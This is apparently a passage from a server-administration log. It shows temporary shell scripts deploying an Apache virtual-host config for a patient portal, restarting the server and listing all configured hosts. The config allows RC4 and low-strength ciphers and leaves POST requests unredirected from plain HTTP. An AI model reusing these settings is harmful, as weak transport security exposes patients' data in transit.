show_file "/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-17 18:05:09: 

chmod 755 /tmp/pkp540095; /tmp/pkp540095; rm /tmp/pkp540095

2026-05-17 18:05:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 52

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2026-05-17 18:05:09: 

PUT: /tmp/pkp702196

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_athenahealth_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf= 1'
fi


2026-05-17 18:05:09: 

chmod 755 /tmp/pkp702196; /tmp/pkp702196; rm /tmp/pkp702196

2026-05-17 18:05:09: 




2026-05-17 18:05:09: 

PUT: /tmp/pkp132821

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-17 18:05:09: 

chmod 755 /tmp/pkp132821; /tmp/pkp132821; rm /tmp/pkp132821

2026-05-17 18:05:09: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-17 18:05:09: Establishing a connection
2026-05-17 18:05:09: 

PUT: /tmp/pkp482280

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-17 18:05:09: 

chmod 755 /tmp/pkp482280; /tmp/pkp482280; rm /tmp/pkp482280

2026-05-17 18:05:09: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
